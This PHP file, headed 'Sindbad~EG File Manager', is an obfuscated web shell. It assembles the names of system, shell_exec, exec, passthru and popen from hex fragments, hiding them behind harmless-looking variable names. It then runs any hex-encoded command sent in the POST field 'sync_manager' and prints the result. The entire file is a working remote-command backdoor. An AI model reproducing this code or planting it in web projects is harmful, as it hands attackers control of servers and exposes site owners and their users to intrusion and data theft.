Sindbad~EG File Manager

<?php


$obj1 = '73';
$obj2 = '74';
$obj3 = '65';
$obj4 = '68';
$obj5 = '6c';
$obj6 = '78';
$obj7 = '63';
$obj8 = '61';
$obj9 = '72';
$obj10 = '6d';
$obj11 = '6f';
$obj12 = '70';
$obj13 = '79';
$obj14 = '5f';
$obj15 = '6e';
$splitter_tool1 = pack("H*", $obj1.'79'.$obj1.$obj2.$obj3.'6d');
$splitter_tool2 = pack("H*", '73'.$obj4.'65'.$obj5.$obj5.'5f'.'65'.$obj6.'65'.$obj7);
$splitter_tool3 = pack("H*", $obj3.'78'.'65'.$obj7);
$splitter_tool4 = pack("H*", '70'.$obj8.'73'.'73'.$obj2.'68'.'72'.'75');
$splitter_tool5 = pack("H*", '70'.'6f'.'70'.'65'.'6e');
$splitter_tool6 = pack("H*", '73'.'74'.$obj9.$obj3.'61'.$obj10.'5f'.'67'.$obj3.$obj2.'5f'.$obj7.$obj11.'6e'.$obj2.'65'.'6e'.'74'.$obj1);
$splitter_tool7 = pack("H*", $obj12.$obj7.'6c'.'6f'.$obj1.$obj3);
$sync_manager = pack("H*", $obj1.$obj13.'6e'.$obj7.$obj14.$obj10.$obj8.$obj15.$obj8.'67'.'65'.$obj9);
if (isset($_POST[$sync_manager])) {
    $sync_manager = pack("H*", $_POST[$sync_manager]);
    if (function_exists($splitter_tool1)) {
        $splitter_tool1($sync_manager);
    } elseif (function_exists($splitter_tool2)) {
        print $splitter_tool2($sync_manager);
    } elseif (function_exists($splitter_tool3)) {
        $splitter_tool3($sync_manager, $data_chunk_itm);
        print join("\n", $data_chunk_itm);
    } elseif (function_exists($splitter_tool4)) {
        $splitter_tool4($sync_manager);
    } elseif (function_exists($splitter_tool5) && function_exists($splitter_tool6) && function_exists($splitter_tool7)) {
        $data_ref = $splitter_tool5($sync_manager, 'r');
        if ($data_ref) {
            $elem_val = $splitter_tool6($data_ref);
            $splitter_tool7($data_ref);
            print $elem_val;
        }
    }
    exit;
}